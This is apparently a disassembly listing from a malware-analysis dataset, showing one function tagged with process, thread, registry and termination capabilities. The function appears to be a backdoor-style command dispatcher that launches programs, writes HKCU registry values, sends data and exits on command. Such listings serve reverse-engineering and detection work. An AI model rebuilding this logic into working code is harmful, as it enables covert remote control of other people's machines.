Function at 0x10009400
Capabilities:
Create process on windows
Create thread
Set registry value
Terminate process

Disassembly:
sub esp, 0x928
movzx eax, dl
dec eax
push ebx
mov ebx, ecx
push esi
push edi
cmp eax, 0x10
ja case.0x10009418.9
jmp dword [eax*4 + 0x10009914]
cmp dword [0x100163e4], 0
je 0x1000942f
xor ecx, ecx
call fcn.10006e70
lea eax, [esp + 0x1c]
push eax
push 0
push dword [0x10016544]
push 0x100067f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je case.0x10009418.9
mov dword [0x100163e4], eax
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x928
ret
mov ecx, 0x10016708
call fcn.10007b00
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x928
ret
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 0
push eax
push 0
push 0x200
lea edx, [esp + 0x540]
call fcn.10008c70
add esp, 0x10
test eax, eax
je 0x1000950b
push dword [0x10016910]
lea eax, [esp + 0x534]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, esi
cmp dword [0x1001672c], 0
je case.0x10009418.9
test esi, esi
je case.0x10009418.9
mov ecx, esi
call fcn.100011d0
mov edi, eax
test edi, edi
je case.0x10009418.9
push esi
lea eax, [esp + 0x534]
push eax
jmp 0x10009565
push dword [esp + 0x14]
lea ecx, [esp + 0x534]
push dword [esp + 0x14]
mov edx, dword [0x10016908]
call fcn.100040d0
mov ebx, eax
add esp, 8
test ebx, ebx
je case.0x10009418.9
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, esi
cmp dword [0x1001672c], 0
je case.0x10009418.9
test esi, esi
je case.0x10009418.9
mov ecx, esi
call fcn.100011d0
mov edi, eax
test edi, edi
je case.0x10009418.9
push esi
push ebx
push edi
call section..text
add esp, 0xc
push 0x10016714
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [0x10016708], 6
mov dword [0x10016709], edi
push 0x10016714
mov dword [0x1001670d], esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x928
ret
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0
push eax
push 1
push 0x200
lea edx, [esp + 0x140]
call fcn.10008c70
add esp, 0x10
test eax, eax
je 0x10009670
push 1
push 0
push 0
lea eax, [esp + 0x13c]
push eax
push dword [0x10016760]
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edx, dword [esp + 0x14]
mov ecx, 0x20
cmp ecx, eax
mov esi, 0x70
sbb ecx, ecx
cmp eax, 0x20
cmovbe edx, esi
neg ecx
je 0x10009678
push dword [0x10016910]
lea eax, [esp + 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, esi
cmp dword [0x1001672c], 0
je case.0x10009418.9
test esi, esi
je case.0x10009418.9
mov ecx, esi
call fcn.100011d0
mov edi, eax
test edi, edi
je case.0x10009418.9
push esi
lea eax, [esp + 0x134]
push eax
jmp 0x10009565
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push eax
push edx
lea ecx, [esp + 0x138]
jmp 0x1000951a
call fcn.10008f20
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x928
ret
call fcn.10009140
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x928
ret
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x2c]
push eax
lea edx, [esp + 0x28]
call fcn.10008a70
add esp, 0xc
test eax, eax
je case.0x10009418.9
lea eax, [esp + 0x10]
push eax
push 0
push dword [esp + 0x24]
push 0x100093a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je case.0x10009418.9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x928
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 4
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.10001760
add esp, 0xc
test eax, eax
je 0x1000981d
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x1e
push eax
push 0
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x24], 0
push eax
push ebx
mov dword [esp + 0x40], ebx
lea edi, [esp + 0x30]
mov dword [esp + 0x3c], 1
mov esi, 6
call dword [0x10017724]
cmp eax, 1
jne 0x1000981d
nop dword [eax]
push 0
push esi
push edi
push ebx
call dword [0x100176f8]
test eax, eax
jle 0x1000981d
add edi, eax
sub esi, eax
jne 0x10009780
mov edi, dword [0x10016bb4]
lea eax, [esp + 0x10]
push eax
push 2
push esi
push dword [0x10016bac]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100097e0
push 6
lea eax, [esp + 0x20]
push eax
push 3
push esi
push edi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
neg eax
sbb esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x1000981d
push 4
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je case.0x10009418.9
push 6
lea eax, [esp + 0x20]
mov byte [esi], 0
push eax
push esi
call section..text
add esp, 0xc
lea eax, [esp + 0x24]
push eax
push 0
push esi
push 0x10007070
jmp 0x100096f1
mov edi, dword [0x10016908]
test edi, edi
je case.0x10009418.9
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, esi
cmp dword [0x1001672c], 0
je case.0x10009418.9
test esi, esi
je case.0x10009418.9
mov ecx, esi
call fcn.100011d0
mov ebx, eax
test ebx, ebx
je case.0x10009418.9
push esi
push edi
push ebx
call section..text
add esp, 0xc
push 0x10016714
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [0x10016708], 6
mov dword [0x10016709], ebx
jmp 0x10009586
cmp byte [0x10016608], 0
je case.0x10009418.9
mov esi, dword [0x100165f8]
test esi, esi
je case.0x10009418.9
inc esi
cmp dword [0x1001672c], 0
je case.0x10009418.9
test esi, esi
je case.0x10009418.9
mov ecx, esi
call fcn.100011d0
mov edi, eax
test edi, edi
je case.0x10009418.9
push esi
push 0x10016608
push edi
call section..text
add esp, 0xc
push 0x10016714
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [0x10016708], 0xf
jmp 0x10009580
mov edx, dword [0x10016bac]
push ecx
push dword [0x10016bb8]
mov ecx, 0x80000001
mov byte [0x10016608], 0
call fcn.10001450
add esp, 8
call fcn.10007720
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x928
ret
call fcn.10003620
nop
pop ds
xchg esp, eax
add byte [eax], dl
xchg esp, eax
add byte [eax], dl
sbb dword [edi - 0x6b7ff000], edx
add byte [eax], dl
cmpsb byte [esi], byte es:[edi]
xchg ebp, eax
add byte [eax], dl
xchg byte [esi - 0x6951f000], dl
add byte [eax], dl
or eax, 0xfe100099
cwde
add byte [eax], dl
invalid